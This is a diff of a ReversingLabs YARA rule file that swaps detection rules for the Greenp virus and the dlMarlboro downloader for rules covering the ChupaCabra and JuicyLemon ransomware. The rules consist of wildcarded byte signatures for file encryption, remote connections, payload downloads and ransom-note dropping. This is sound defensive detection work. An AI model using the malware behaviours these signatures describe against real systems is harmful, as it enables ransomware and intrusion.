?? ?? 56 50 FF 55 ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 + C4 ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 68 ?? ?? ?? + ?? 6A ?? 66 A5 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF D0 6A ?? FF 75 ?? A3 ?? ?? ?? ?? FF 55 + ?? 6A ?? FF 75 ?? 8B F0 FF 55 ?? FF 75 ?? 89 45 ?? 53 E8 ?? ?? ?? ?? 8D 45 ?? 50 FF + } + $encrypt_files_4 = { + 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 66 85 C0 75 ?? 33 C0 40 E9 ?? ?? ?? ?? 8B 3D + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 8B C8 8B 45 ?? 53 57 99 53 53 + 2B C2 68 ?? ?? ?? ?? D1 F8 2D ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B C6 99 2B C2 D1 F8 2D + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 53 FF D1 A3 ?? ?? ?? ?? E8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 51 FF D0 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 + BE ?? ?? ?? ?? 85 C0 75 ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 53 68 ?? ?? ?? ?? 53 + 53 FF D0 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 53 68 ?? ?? ?? ?? 53 53 FF D0 39 1D ?? + ?? ?? ?? 75 ?? 6A ?? 58 EB ?? 6A ?? 59 33 C0 68 ?? ?? ?? ?? 89 5D ?? 8D 7D ?? 6A ?? + F3 AB E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 EB ?? 83 F8 ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? E8 + ?? ?? ?? ?? 59 59 8D 4D ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 8D 4D + ?? 51 FF D0 6A ?? 59 8D 75 ?? BF ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? + ?? 59 59 53 53 53 8D 4D ?? 51 FF D0 3B C3 75 ?? 8B 45 ?? 5F 5E 5B C9 C2 ?? ?? 6A ?? + E9 + } + $remote_connection_4 = { + 55 8B EC 51 51 53 56 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 33 F6 56 56 56 6A ?? + 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? 8B D8 E8 ?? ?? ?? ?? 59 59 56 56 6A ?? 56 + 56 6A ?? FF 75 ?? 53 FF D0 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 59 59 56 68 + ?? ?? ?? ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? FF D0 68 ?? ?? ?? + ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 59 59 56 56 56 56 FF 75 ?? FF D0 53 E8 ?? ?? ?? ?? + FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 5E 5B C9 C3 + } + $remote_connection_5 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 33 FF 68 ?? ?? ?? ?? 47 57 E8 ?? ?? ?? ?? 59 59 + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? BE ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 + FF D0 56 57 E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 56 57 E8 + ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? E8 + ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? 51 6A ?? FF D0 BE ?? ?? ?? ?? 85 C0 74 ?? 56 57 + E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 6A ?? 57 + 6A ?? FF D0 8B D8 85 DB 7D ?? 56 57 E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 59 6A ?? 8D 4D ?? + 51 FF D0 6A ?? 58 66 89 45 ?? 8B 46 ?? 8B 00 8B 00 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 66 + 89 45 ?? 6A ?? 8D 45 ?? 50 53 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 8D ?? ?? ?? ?? 51 FF D0 6A ?? 50 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 53 E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? FF D0 5F 5E 5B C9 C3 } condition: - uint16( 0 ) == 0x5A4D and ( ( ( $deadcode_ep_1 at pe.entry_point ) and ( $deadcode_marker at 0x40 ) ) or ( ( $deadcode_ep_2 at pe.entry_point ) and ( $deadcode_marker at 0x40 ) ) or ( ( $deadcode_ep_3 at pe.entry_point ) and ( $deadcode_marker at 0x40 ) ) or ( $deadcode_body_1 and $deadcode_body_2 ) ) + uint16( 0 ) == 0x5A4D and ( ( $encrypt_files_1 and $remote_connection_1 and $remote_connection_2 and $remote_connection_3 ) or ( $encrypt_files_2 and $encrypt_files_3 and $encrypt_files_4 and $remote_connection_4 and $remote_connection_5 ) ) } - -rule REVERSINGLABS_Win32_Virus_Greenp : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Chupacabra : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Greenp virus." + description = "Yara rule that detects ChupaCabra ransomware." author = "ReversingLabs" - id = "5751e91c-652b-59bd-93b8-ece677ad4911" - date = "2020-06-26" - modified = "2020-07-15" + id = "e44a101d-53c3-51f2-84ca-f6a5858c169b" + date = "2021-10-12" + modified = "2021-10-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Greenp.yara#L3-L46" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.ChupaCabra.yara#L1-L90" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ca6df34ee2ad9d93e35b0d1a2d4765f681f3981ffe2786bbc822c3090212fd02" + logic_hash = "7f247778e0bd8057670abf42b2d1011ebae891ffcb21ebad50060f9a7986bf93" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Virus" - tc_detection_name = "Greenp" + tc_detection_type = "Ransomware" + tc_detection_name = "ChupaCabra" tc_detection_factor = 5 importance = 25 strings: - $greenp_body_1 = { - 68 ?? ?? ?? ?? 60 FC E8 4E 05 00 00 E8 31 04 00 00 0F 82 93 00 00 00 80 BD ?? ?? ?? ?? 01 75 63 FF 95 ?? ?? ?? ?? 6A 01 - 50 FF 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A 00 6A 00 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 EC 18 8B FC - 6A 00 6A 00 6A 00 57 FF 95 ?? ?? ?? ?? 85 C0 74 10 57 FF 95 ?? ?? ?? ?? 57 FF 95 ?? ?? ?? ?? EB DF 68 ?? ?? ?? ?? 6A 00 - FF 95 ?? ?? ?? ?? 83 C4 18 EB 27 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 85 C0 75 16 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? - ?? 85 C0 74 05 E8 81 00 00 00 61 58 FF E0 ?? E8 04 00 00 00 [4] 8B 3C 24 81 EC 00 01 00 00 8B F4 56 68 00 01 00 00 FF - 95 ?? ?? ?? ?? AC AA 81 C4 00 01 00 00 FF 95 ?? ?? ?? ?? 83 F8 03 75 2D 83 EC 10 8B F4 56 8D 46 04 50 8D 46 08 50 8D 46 - 0C 50 4F 57 FF 95 ?? ?? ?? ?? 8B 46 04 2B D2 F7 66 08 F7 66 0C 83 C4 10 3D 00 00 40 06 C3 [27] 81 EC ?? ?? ?? ?? 8B F4 - 68 ?? ?? ?? ?? 56 FF 95 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8A 17 88 14 06 40 47 80 FA 00 75 F4 68 ?? ?? ?? ?? 6A 00 FF 95 ?? - ?? ?? ?? 97 56 57 B9 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 3A 02 00 00 5F B8 ?? ?? ?? ?? 99 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 - 8B 57 3C 03 D7 0F B7 5A 14 8D 5C 13 40 8B 72 28 03 72 34 89 B5 ?? ?? ?? ?? C7 42 10 80 67 D5 40 FF 73 10 01 43 10 8B 43 - 10 05 ?? ?? ?? ?? 89 43 08 58 03 43 0C 89 42 28 52 B8 ?? ?? ?? ?? 99 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 5A 01 43 10 01 42 - 50 81 42 50 ?? ?? ?? ?? 57 C6 85 ?? ?? ?? ?? 01 81 C7 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? B9 ?? ?? ?? ?? FC F3 A4 C6 85 ?? ?? - ?? ?? 00 5F 5E 6A 00 6A 00 6A 02 6A 00 6A 00 68 00 00 00 C0 56 FF 95 ?? ?? ?? ?? 93 50 8B C4 6A 00 50 B8 ?? ?? ?? ?? 99 + $encrypt_files_p1 = { + 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? 28 + ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 14 0A 14 0B 7E ?? ?? ?? ?? 7E ?? ?? + ?? ?? 73 ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 09 73 ?? ?? ?? ?? 13 ?? 73 ?? + ?? ?? ?? 0A 06 08 06 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 11 ?? 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 06 06 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 + ?? 11 ?? 16 73 ?? ?? ?? ?? 13 ?? 11 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 0B DE + ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? + 11 ?? 6F ?? ?? ?? ?? DC 06 2C ?? 06 6F ?? ?? ?? ?? DC 07 2A } - $greenp_body_2 = { - 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 50 57 53 FF 95 ?? ?? ?? ?? 58 57 FF 95 ?? ?? ?? ?? 53 FF 95 ?? ?? ?? ?? 6A 00 56 FF 95 - ?? ?? ?? ?? 50 50 8B FC 8D 57 04 2B C0 52 57 50 68 3F 00 0F 00 50 50 50 8D 85 ?? ?? ?? ?? 50 68 02 00 00 80 FF 95 ?? ?? - ?? ?? 85 C0 75 1E 6A 0C 56 6A 01 6A 00 8D 85 ?? ?? ?? ?? 50 FF 37 FF 95 ?? ?? ?? ?? FF 37 FF 95 ?? ?? ?? ?? 81 C4 ?? ?? - ?? ?? C3 + $encrypt_files_p2 = { + 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 02 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 0A 02 06 28 ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ?? + ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 20 ?? ?? ?? ?? 8D ?? ?? + ?? ?? 0B 02 19 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 08 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? + ?? ?? ?? 0D 09 07 09 8E 69 28 ?? ?? ?? ?? DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 02 19 28 + ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 07 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? + ?? ?? ?? DC 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 02 28 + ?? ?? ?? ?? 13 ?? 11 ?? 17 5F 17 33 ?? 11 ?? 17 28 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? + ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 02 28 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 38 ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 20 ?? ?? ?? + ?? 8D ?? ?? ?? ?? 13 ?? 02 19 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 02 19 28 + ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F + ?? ?? ?? ?? DC 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? DE ?? 26 DE ?? + 2A + } + $find_files_p1 = { + 02 28 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 0B 16 0C 2B ?? 06 08 9A 28 ?? ?? ?? ?? 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 08 9A 28 ?? ?? ?? ?? 08 17 58 0C 08 06 8E 69 32 ?? 16 0D + 2B ?? 07 09 9A 28 ?? ?? ?? ?? 09 17 58 0D 09 07 8E 69 32 ?? DE ?? 26 DE ?? 2A + } + $find_files_p2 = { + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? + ?? 1F ?? 8D ?? ?? ?? ?? 25 16 1E 28 ?? ?? ?? ?? A2 25 17 1F ?? 28 ?? ?? ?? ?? A2 25 18 + 1F ?? 28 ?? ?? ?? ?? A2 25 19 1F ?? 28 ?? ?? ?? ?? A2 25 1A 1F ?? 28 ?? ?? ?? ?? A2 25 + 1B 1B 28 ?? ?? ?? ?? A2 25 1C 1C 28 ?? ?? ?? ?? A2 25 1D 1F ?? 28 ?? ?? ?? ?? A2 25 1E + 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? + A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1B 28 ?? + ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? + 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? + A2 0A 16 0B 2B ?? 06 07 9A 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 ?? 2A + } + $drop_ransom_note = { + 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? + ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 7E + ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 7E ?? ?? ?? + ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 7E ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 26 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 26 73 ?? ?? ?? ?? 0A 7E ?? ?? ?? ?? 0B 06 07 6F ?? ?? ?? ?? 26 2A } condition: - uint16( 0 ) == 0x5A4D and ( $greenp_body_1 at pe.entry_point ) and $greenp_body_2 + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) } -rule REVERSINGLABS_Win32_Downloader_Dlmarlboro : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Juicylemon : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects dlMarlboro downloader." + description = "Yara rule that detects JuicyLemon ransomware." author = "ReversingLabs" - id = "4c99b5a4-dc6b-579b-b1bd-bd4c93c6e68c" - date = "2020-07-23" - modified = "2020-07-23" + id = "35e4bbd6-422b-562e-98fc-fe932270dbb8" + date = "2020-08-17" + modified = "2020-08-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/downloader/Win32.Downloader.dlMarlboro.yara#L1-L79" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.JuicyLemon.yara#L1-L116" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "465a3b3a9686889001ac0b929d0349e44b6015eaeed3386361366def5013164a" + logic_hash = "596d89843793307f4940dbb85b2e7081f02250f6adfdcd01f2d3c5f2b8b90875" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Downloader" - tc_detection_name = "dlMarlboro" - tc_detection_factor = 3 + tc_detection_type = "Ransomware" + tc_detection_name = "JuicyLemon" + tc_detection_factor = 5 importance = 25 strings: - $ping_apnic = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 0F 57 - C0 F3 0F 7F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? - 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + $remote_connection_1 = { + 55 8B EC 83 C4 ?? 53 56 57 89 4D ?? 8B FA 8B F0 C6 45 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? + 6A ?? FF 15 ?? ?? ?? ?? 8B D8 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 56 53 FF 15 ?? ?? ?? + ?? 8B F0 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 56 FF 15 + ?? ?? ?? ?? 8B F8 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 57 FF + 15 ?? ?? ?? ?? 85 C0 74 ?? C6 45 ?? ?? 57 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 53 + FF 15 ?? ?? ?? ?? 8A 45 ?? 5F 5E 5B 59 59 5D C2 } - $download_bin_1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B F2 8B C1 89 85 ?? - ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? - ?? ?? 83 EC ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 56 C6 01 - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 - 05 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF 50 ?? 8D 4D ?? 51 8B - C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B D7 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 - ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 - ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 - 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? - ?? ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? - ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? B3 ?? EB ?? 32 DB + $remote_connection_2 = { + 55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? + 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 55 ?? 8B + 45 ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? + ?? 66 BE ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 66 BE ?? ?? 8D 45 ?? E8 + ?? ?? ?? ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D6 + 59 E8 ?? ?? ?? ?? 84 C0 74 ?? B3 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 } - $download_bin_2 = { - C7 45 ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? - ?? ?? 83 C4 ?? 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 8D 80 ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 - C8 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 - C4 ?? 8B 8D ?? ?? ?? ?? 8B F0 85 C9 74 ?? 8B 01 FF 50 ?? 85 C0 74 ?? 8B 10 8B C8 6A - ?? FF 12 8B 06 8B CE 6A ?? 8B 40 ?? FF D0 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 5D ?? 83 C4 ?? 8B 7D ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 75 ?? 8B 75 ?? 8D 4D ?? - 83 FB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F 43 CF 3B F0 0F 42 C6 50 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 75 ?? 83 FE ?? 73 ?? 83 C8 ?? EB ?? 33 C0 83 FE ?? 0F 95 C0 85 C0 0F 94 - C0 84 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? - ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 FB ?? 72 ?? 57 E8 